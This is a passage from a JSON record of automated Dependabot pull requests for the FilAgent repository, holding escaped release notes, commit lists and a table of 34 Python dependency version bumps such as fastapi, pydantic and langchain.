href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1836\"\u003epydantic/pydantic-core#1836\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/willswire\"\u003e\u003ccode\u003e@​willswire\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1829\"\u003epydantic/pydantic-core#1829\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.41.1...v2.41.2\"\u003ehttps://github.com/pydantic/pydantic-core/compare/v2.41.1...v2.41.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.41.1 2025-10-06\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eurl_preserve_empty_path\u003c/code\u003e entry to \u003ccode\u003eCoreConfig\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1823\"\u003epydantic/pydantic-core#1823\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.41.0...v2.41.1\"\u003ehttps://github.com/pydantic/pydantic-core/compare/v2.41.0...v2.41.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.41.0 2025-10-06\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/52b821dfc304b061b3c2d528f91011229d25f0a1\"\u003e\u003ccode\u003e52b821d\u003c/code\u003e\u003c/a\u003e release: 2.41.5 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1883\"\u003e#1883\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/65d7c44b651ad15aad582f585842878b619aab8c\"\u003e\u003ccode\u003e65d7c44\u003c/code\u003e\u003c/a\u003e optimizations in URL implementation (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1833\"\u003e#1833\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/4d23017bf1d0dba0ef87b3c78cbc12eed53c0f9d\"\u003e\u003ccode\u003e4d23017\u003c/code\u003e\u003c/a\u003e revert url credential encoding (to be reintroduced as an option in future) (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/2e932c69631cee45fe62517acc72a8c926bcd5d1\"\u003e\u003ccode\u003e2e932c6\u003c/code\u003e\u003c/a\u003e add type inference for serializing ip address types (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1868\"\u003e#1868\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/4c9bec8af4b0e6a11317e792468d8bb7a0338ab7\"\u003e\u003ccode\u003e4c9bec8\u003c/code\u003e\u003c/a\u003e clean up GC traversal for some top-level types (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1870\"\u003e#1870\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/bed9c14b84efdbc017667ce495a6fcb1e9c161f4\"\u003e\u003ccode\u003ebed9c14\u003c/code\u003e\u003c/a\u003e fix issue with field_serializers on nested typed dicts (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1879\"\u003e#1879\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/20d576b5b7c337a5b6234d7d32ec0bc7d964c5cb\"\u003e\u003ccode\u003e20d576b\u003c/code\u003e\u003c/a\u003e address trivial fixme (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1880\"\u003e#1880\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/83133d6b04cc14cdb5476496cf09288444e0c474\"\u003e\u003ccode\u003e83133d6\u003c/code\u003e\u003c/a\u003e Bump astral-sh/setup-uv from 6 to 7 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1872\"\u003e#1872\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/fbf16d7b481554ef207122caa0229787c6b0868c\"\u003e\u003ccode\u003efbf16d7\u003c/code\u003e\u003c/a\u003e Bump percent-encoding from 2.3.1 to 2.3.2 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1876\"\u003e#1876\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/d25eda1f4f57d116254211975786a4bf0d7e5f74\"\u003e\u003ccode\u003ed25eda1\u003c/code\u003e\u003c/a\u003e Bump actions/setup-node from 5 to 6 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1871\"\u003e#1871\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.33.2...v2.41.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pytest-subtests` from 0.14.2 to 0.15.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/blob/main/CHANGELOG.rst\"\u003epytest-subtests's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2025-10-20\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded experimental \u003ccode\u003e--no-subtests-reports\u003c/code\u003e CLI option. This disables\nsubtests output unless it's a failed subtest. (\u003ccode\u003e[#198](https://github.com/pytest-dev/pytest-subtests/issues/198)\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e.. _\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/198\"\u003e#198\u003c/a\u003e: \u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/pull/198\"\u003epytest-dev/pytest-subtests#198\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/ff19523c499fcc0a04c999b6614dbfdc3e684629\"\u003e\u003ccode\u003eff19523\u003c/code\u003e\u003c/a\u003e Release 0.15.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a45e77d429a4d14197f23404704366550dc930a7\"\u003e\u003ccode\u003ea45e77d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/216\"\u003e#216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/e7fa393a591b5b84f2b30257f2c927f80e84acc0\"\u003e\u003ccode\u003ee7fa393\u003c/code\u003e\u003c/a\u003e Bump hynek/build-and-inspect-python-package from 2.13 to 2.14 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/215\"\u003e#215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/3b10fb3dda480d72de13235cb572312562349d4d\"\u003e\u003ccode\u003e3b10fb3\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/214\"\u003e#214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a95a2be1ae2956305aae9ae0c51075d330796eb6\"\u003e\u003ccode\u003ea95a2be\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/213\"\u003e#213\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/7a4df7daf51200cc3269fe9ae3d0921150eca27e\"\u003e\u003ccode\u003e7a4df7d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/212\"\u003e#212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a6d84d7d54c082f66970afc358f9b3cb1be64615\"\u003e\u003ccode\u003ea6d84d7\u003c/code\u003e\u003c/a\u003e Bump actions/setup-python from 5 to 6 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/211\"\u003e#211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/d2d5220cd285e778f3cd5041a9c075b81abd71a2\"\u003e\u003ccode\u003ed2d5220\u003c/code\u003e\u003c/a\u003e Bump pypa/gh-action-pypi-publish in /.github/workflows (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/210\"\u003e#210\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/8ab123da0d45fe6b2f67539ab5c1d5a701e85742\"\u003e\u003ccode\u003e8ab123d\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 4 to 5 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/208\"\u003e#208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/edb553875d9c55efa20b40c178785e3a0e4c616a\"\u003e\u003ccode\u003eedb5538\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/207\"\u003e#207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/compare/v0.14.2...v0.15.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `referencing` from 0.36.2 to 0.37.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca hr...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/188","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/188","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/188/packages"},{"uuid":"3626141180","node_id":"PR_kwDOQJdjYc6zfAfp","number":146,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 34 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-11-14T15:43:56.000Z","updated_at":"2025-11-24T16:13:11.662Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":34,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"fastapi","old_version":"0.104.1","new_version":"0.121.2","repository_url":"https://github.com/fastapi/fastapi"},{"name":"pandas","old_version":"2.1.3","new_version":"2.3.3","repository_url":"https://github.com/pandas-dev/pandas"},{"name":"prometheus-client","old_version":"0.19.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.4.2","new_version":"2.12.4","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pytest","old_version":"7.4.3","new_version":"7.4.4","repository_url":"https://github.com/pytest-dev/pytest"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"python-dotenv","old_version":"1.0.0","new_version":"1.2.1","repository_url":"https://github.com/theskumar/python-dotenv"},{"name":"pyyaml","old_version":"6.0.1","new_version":"6.0.3","repository_url":"https://github.com/yaml/pyyaml"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"requests","old_version":"2.31.0","new_version":"2.32.5","repository_url":"https://github.com/psf/requests"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"structlog","old_version":"23.2.0","new_version":"23.3.0","repository_url":"https://github.com/hynek/structlog"},{"name":"uvicorn","old_version":"0.30.6","new_version":"0.38.0","repository_url":"https://github.com/Kludex/uvicorn"},{"name":"uvicorn","old_version":"0.24.0","new_version":"0.38.0","repository_url":"https://github.com/Kludex/uvicorn"},{"name":"gradio","old_version":"4.7.1","new_version":"4.44.1","repository_url":"https://github.com/gradio-app/gradio"},{"name":"langchain","old_version":"0.2.16","new_version":"0.3.27","repository_url":"https://github.com/langchain-ai/langchain"},{"name":"langchain-community","old_version":"0.2.16","new_version":"0.4.1","repository_url":"https://github.com/langchain-ai/langchain"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"transformers","old_version":"4.35.2","new_version":"4.57.1","repository_url":"https://github.com/huggingface/transformers"},{"name":"sentence-transformers","old_version":"2.2.2","new_version":"2.7.0","repository_url":"https://github.com/huggingface/sentence-transformers"},{"name":"faiss-cpu","old_version":"1.7.4","new_version":"1.12.0","repository_url":"https://github.com/kyamagu/faiss-wheels"},{"name":"pynacl","old_version":"1.5.0","new_version":"1.6.1","repository_url":"https://github.com/pyca/pynacl"},{"name":"python-jose","old_version":"3.3.0","new_version":"3.5.0"},{"name":"sqlalchemy","old_version":"2.0.23","new_version":"2.0.44","repository_url":"https://github.com/sqlalchemy/sqlalchemy"},{"name":"sqlite-vec","old_version":"0.1.1","new_version":"0.1.6"},{"name":"chromadb","old_version":"0.4.18","new_version":"0.6.3","repository_url":"https://github.com/chroma-core/chroma"},{"name":"opentelemetry-api","old_version":"1.21.0","new_version":"1.38.0","repository_url":"https://github.com/open-telemetry/opentelemetry-python"},{"name":"opentelemetry-sdk","old_version":"1.21.0","new_version":"1.38.0","repository_url":"https://github.com/open-telemetry/opentelemetry-python"},{"name":"openpyxl","old_version":"3.1.2","new_version":"3.1.5"},{"name":"python-docx","old_version":"1.1.0","new_version":"1.2.0","repository_url":"https://github.com/python-openxml/python-docx"},{"name":"pytest-asyncio","old_version":"0.21.1","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"pytest-mock","old_version":"3.12.0","new_version":"3.15.1","repository_url":"https://github.com/pytest-dev/pytest-mock"},{"name":"python-multipart","old_version":"0.0.6","new_version":"0.0.20","repository_url":"https://github.com/Kludex/python-multipart"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 34 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.104.1` | `0.121.2` |\n| [pandas](https://github.com/pandas-dev/pandas) | `2.1.3` | `2.3.3` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.19.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.4.2` | `2.12.4` |\n| [pytest](https://github.com/pytest-dev/pytest) | `7.4.3` | `7.4.4` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [python-dotenv](https://github.com/theskumar/python-dotenv) | `1.0.0` | `1.2.1` |\n| [pyyaml](https://github.com/yaml/pyyaml) | `6.0.1` | `6.0.3` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [requests](https://github.com/psf/requests) | `2.31.0` | `2.32.5` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [structlog](https://github.com/hynek/structlog) | `23.2.0` | `23.3.0` |\n| [uvicorn](https://github.com/Kludex/uvicorn) | `0.30.6` | `0.38.0` |\n| [uvicorn[standard]](https://github.com/Kludex/uvicorn) | `0.24.0` | `0.38.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `4.7.1` | `4.44.1` |\n| [langchain](https://github.com/langchain-ai/langchain) | `0.2.16` | `0.3.27` |\n| [langchain-community](https://github.com/langchain-ai/langchain) | `0.2.16` | `0.4.1` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [transformers](https://github.com/huggingface/transformers) | `4.35.2` | `4.57.1` |\n| [sentence-transformers](https://github.com/huggingface/sentence-transformers) | `2.2.2` | `2.7.0` |\n| [faiss-cpu](https://github.com/kyamagu/faiss-wheels) | `1.7.4` | `1.12.0` |\n| [pynacl](https://github.com/pyca/pynacl) | `1.5.0` | `1.6.1` |\n| [python-jose[cryptography]](https://github.com/mpdavis/python-jose) | `3.3.0` | `3.5.0` |\n| [sqlalchemy](https://github.com/sqlalchemy/sqlalchemy) | `2.0.23` | `2.0.44` |\n| [sqlite-vec](https://TODO.com) | `0.1.1` | `0.1.6` |\n| [chromadb](https://github.com/chroma-core/chroma) | `0.4.18` | `0.6.3` |\n| [opentelemetry-api](https://github.com/open-telemetry/opentelemetry-python) | `1.21.0` | `1.38.0` |\n| [opentelemetry-sdk](https://github.com/open-telemetry/opentelemetry-python) | `1.21.0` | `1.38.0` |\n| [openpyxl](https://openpyxl.readthedocs.io) | `3.1.2` | `3.1.5` |\n| [python-docx](https://github.com/python-openxml/python-docx) | `1.1.0` | `1.2.0` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.21.1` | `0.26.0` |\n| [pytest-mock](https://github.com/pytest-dev/pytest-mock) | `3.12.0` | `3.15.1` |\n| [python-multipart](https://github.com/Kludex/python-multipart) | `0.0.6` | `0.0.20` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.104.1 to 0.121.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.121.2\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix handling of JSON Schema attributes named \u0026quot;$ref\u0026quot;. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14349\"\u003e#14349\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Add EuroPython talk \u0026amp; podcast episode with Sebastián Ramírez. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14260\"\u003e#14260\u003c/a\u003e by \u003ca href=\"https://github.com/clytaemnestra\"\u003e\u003ccode\u003e@​clytaemnestra\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e✏️ Fix links and add missing permalink in docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14217\"\u003e#14217\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTranslations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🌐 Update Portuguese translations with LLM prompt. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14228\"\u003e#14228\u003c/a\u003e by \u003ca href=\"https://github.com/ceb10n\"\u003e\u003ccode\u003e@​ceb10n\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🔨 Add Portuguese translations LLM prompt. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14208\"\u003e#14208\u003c/a\u003e by \u003ca href=\"https://github.com/ceb10n\"\u003e\u003ccode\u003e@​ceb10n\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🌐 Sync Russian docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14331\"\u003e#14331\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🌐 Sync German docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14317\"\u003e#14317\u003c/a\u003e by \u003ca href=\"https://github.com/nilslindemann\"\u003e\u003ccode\u003e@​nilslindemann\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.121.1\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix \u003ccode\u003eDepends(func, scope='function')\u003c/code\u003e for top level (parameterless) dependencies. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14301\"\u003e#14301\u003c/a\u003e by \u003ca href=\"https://github.com/luzzodev\"\u003e\u003ccode\u003e@​luzzodev\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Upate docs for advanced dependencies with \u003ccode\u003eyield\u003c/code\u003e, noting the changes in 0.121.0, adding \u003ccode\u003escope\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14287\"\u003e#14287\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e⬆ Bump ruff from 0.13.2 to 0.14.3. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14276\"\u003e#14276\u003c/a\u003e by \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e⬆ [pre-commit.ci] pre-commit autoupdate. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14289\"\u003e#14289\u003c/a\u003e by \u003ca href=\"https://github.com/apps/pre-commit-ci\"\u003e\u003ccode\u003e@​pre-commit-ci[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.121.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ Add support for dependencies with scopes, support \u003ccode\u003escope=\u0026quot;request\u0026quot;\u003c/code\u003e for dependencies with \u003ccode\u003eyield\u003c/code\u003e 